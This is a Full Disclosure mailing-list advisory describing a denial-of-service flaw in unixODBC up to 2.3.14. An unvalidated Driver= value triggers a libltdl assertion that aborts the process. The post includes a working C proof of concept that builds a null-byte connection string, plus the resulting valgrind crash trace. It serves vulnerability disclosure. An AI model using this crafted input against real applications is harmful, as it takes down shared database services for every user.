[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] unixODBC <=2.3.14 Input Validation Causes Downstream Assertion Failure
- To: "fulldisclosure@xxxxxxxxxxxx" <fulldisclosure@xxxxxxxxxxxx>
- Subject: [FD] unixODBC <=2.3.14 Input Validation Causes Downstream Assertion Failure
- From: Daniel Owens via Fulldisclosure <fulldisclosure@xxxxxxxxxxxx>
- Date: Mon, 9 Nov 2026 22:33:05 +0000
unixODBC versions <=2.3.14 do not validate the `Driver=` value of a connection
string before passing it to its bundled dynamic-loading library (`libltdl`).
When the derived library base name or file name is empty -- for example because
the value contains an embedded null byte, has a trailing slash, or is empty --
an `assert()` is triggered, rather than returning an error, causing the entire
process to abort.
Impact
An attacker who can influence the `Driver=` value of an Open Database
Connectivity (ODBC) connection string -- whether through direct input, a
connection-string injection vector, or a malicious Data Source Name (DSN)
configuration file -- can reliably crash any application linked against
unixODBC. This denial-of-service (DoS) condition only requires ability to
supply a malformed connection string. Since the crash occurs via `abort()`
following a failed assertion, graceful error handling or recovery is impossible
-- the entire process is terminated unconditionally and immediately, bypassing
all application-level exception handling, logging, and cleanup routines. In
multi-tenant or connection-pooling environments, a single malicious connection
string brings down the entire pooling service, denying database access to every
concurrent user and leaving in-flight transactions and resources in an
inconsistent state.
As an aside, this is why `assert` has always been considered inappropriate for
production code across all major coding standards and since it was first
created, although unixODBC should be properly validating the input regardless.
Examples
Code review, and proven via testing, identified multiple distinct use cases,
each of which triggers the assertion for the same reason -- the memory address
evaluated by the assertion contains a `null` terminator. When a trailing slash
is present, `base_name = strrchr (canonical, '/')` locates the final slash and
the library increments the `base_name` pointer forward by one byte. Since a
trailing slash means the next byte is the string's `null` terminator, the
safety macro fails. Alternatively, if the string is completely empty or begins
with a `null` byte, `strrchr` returns `NULL` and the fallback assignment
`MEMREASSIGN (base_name, canonical)` sets `base_name` to an empty string,
similarly failing the `assert (base_name && *base_name)` check and crashing the
runtime.
```c
/* Try to open FILENAME as a module. */
static int
try_dlopen (lt_dlhandle *phandle, const char *filename, const char *ext,
lt_dladvise advise)
{
const char * saved_error = 0;
char * archive_name = 0;
char * canonical = 0;
char * base_name = 0;
char * dir = 0;
char * name = 0;
char * attempt = 0;
int errors = 0;
lt_dlhandle newhandle;
assert (phandle);
assert (*phandle == 0);
#ifdef LT_DEBUG_LOADERS
fprintf (stderr, "try_dlopen (%s, %s)\n",
filename ? filename : "(null)",
ext ? ext : "(null)");
#endif
LT__GETERROR (saved_error);
/* dlopen self? */
if (!filename)
{
*phandle = (lt_dlhandle) lt__zalloc (sizeof (struct lt__handle));
if (*phandle == 0)
return 1;
newhandle = *phandle;
/* lt_dlclose()ing yourself is very bad! Disallow it. */
newhandle->info.is_resident = 1;
if (tryall_dlopen (&newhandle, 0, advise, 0) != 0)
{
FREE (*phandle);
return 1;
}
goto register_handle;
}
assert (filename && *filename);
if (ext)
{
attempt = MALLOC (char, LT_STRLEN (filename) + LT_STRLEN (ext) + 1);
if (!attempt)
return 1;
sprintf(attempt, "%s%s", filename, ext);
}
else
{
attempt = lt__strdup (filename);
if (!attempt)
return 1;
}
/* Doing this immediately allows internal functions to safely
assume only canonicalized paths are passed. */
if (canonicalize_path (attempt, &canonical) != 0)
{
++errors;
goto cleanup;
}
/* If the canonical module name is a path (relative or absolute)
then split it into a directory part and a name part. */
base_name = strrchr (canonical, '/');
if (base_name)
{
size_t dirlen = (1+ base_name) - canonical;
dir = MALLOC (char, 1+ dirlen);
if (!dir)
{
++errors;
goto cleanup;
}
strlcpy (dir, canonical, dirlen);
dir[dirlen] = LT_EOS_CHAR;
++base_name;
}
else
MEMREASSIGN (base_name, canonical);
assert (base_name && *base_name);
```
Code snippet from `libltdl`'s libltdl/ltdl.c, lines 1157-1251
```c
static void *odbc_dlopen( char *libname, char **err )
{
void *hand;
struct lib_count *list;
mutex_lib_entry();
/*
* have we already got it ?
*/
list = lib_list;
while( list )
{
if ( strcmp( list -> lib_name, libname ) == 0 )
{
break;
}
list = list -> next;
}
if ( list )
{
list -> count ++;
hand = list -> handle;
}
else
{
hand = lt_dlopen( libname );
```
Code from `unixODBC`'s DriverManager/SQLConnect.c, lines 811-840
```bash
cat > /tmp/repro_browse.c << 'EOF'
#include <sql.h>
#include <sqlext.h>
#include <string.h>
int main(void) {
SQLHENV hEnv;
SQLHDBC hDbc;
SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &hEnv);
SQLSetEnvAttr(hEnv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);
SQLAllocHandle(SQL_HANDLE_DBC, hEnv, &hDbc);
/* Connection string with null bytes embedded in the Driver value */
char connStr[] = "Driver={/\x00\x00\x00\x00\x00\x00\x00\x00"
"opt/amazon/redshifto"
"Amazon Redshift ODBC }\x00\x00\x00\x00"
"x64)};Server=host;Port=5439;"
"UID=u;PWD=p;LoginTimeout=5;";
SQLCHAR outBuf[1024];
SQLSMALLINT outLen;
/* This call aborts the process via libltdl's try_dlopen() assertion */
SQLDriverConnect(hDbc, NULL,
(SQLCHAR *)connStr, (SQLSMALLINT)(sizeof(connStr) - 1),
outBuf, sizeof(outBuf), &outLen,
SQL_DRIVER_NOPROMPT);
SQLFreeHandle(SQL_HANDLE_DBC, hDbc);
SQLFreeHandle(SQL_HANDLE_ENV, hEnv);
return 0;
}
EOF
gcc -g -O0 -o /tmp/repro_browse /tmp/repro_browse.c -lodbc
valgrind --tool=memcheck --track-origins=yes /tmp/repro_browse
```
Code to elicit the crash
```text
repro_browse: ltdl.c:1251: try_dlopen: Assertion `base_name && *base_name'
failed.
==1242142==
==1242142== Process terminating with default action of signal 6 (SIGABRT):
dumping core
==1242142== at 0x498C02C: __pthread_kill_implementation (in
/usr/lib64/libc.so.6)
==1242142== by 0x493EB85: raise (in /usr/lib64/libc.so.6)
==1242142== by 0x4928872: abort (in /usr/lib64/libc.so.6)
==1242142== by 0x492879A: __assert_fail_base.cold (in /usr/lib64/libc.so.6)
==1242142== by 0x49378C5: __assert_fail (in /usr/lib64/libc.so.6)
==1242142== by 0x48D0845: try_dlopen (ltdl.c:1251)
==1242142== by 0x48D15DA: lt_dlopenadvise (ltdl.c:1671)
==1242142== by 0x48D14C4: lt_dlopen (ltdl.c:1626)
==1242142== by 0x486B76A: odbc_dlopen (SQLConnect.c:842)
==1242142== by 0x486C048: __connect_part_one (SQLConnect.c:1182)
==1242142== by 0x4877DCF: SQLDriverConnect (SQLDriverConnect.c:1410)
==1242142== by 0x4012C3: main (repro_browse.c:21)
==1242142==
==1242142== HEAP SUMMARY:
==1242142== in use at exit: 73,962 bytes in 26 blocks
==1242142== total heap usage: 188 allocs, 162 frees, 181,146 bytes allocated
==1242142==
==1242142== LEAK SUMMARY:
==1242142== definitely lost: 0 bytes in 0 blocks
==1242142== indirectly lost: 0 bytes in 0 blocks
==1242142== possibly lost: 0 bytes in 0 blocks
==1242142== still reachable: 73,962 bytes in 26 blocks
==1242142== suppressed: 0 bytes in 0 blocks
==1242142== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
```
Output from Valgrind, reproduced independently under AddressSanitizer
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/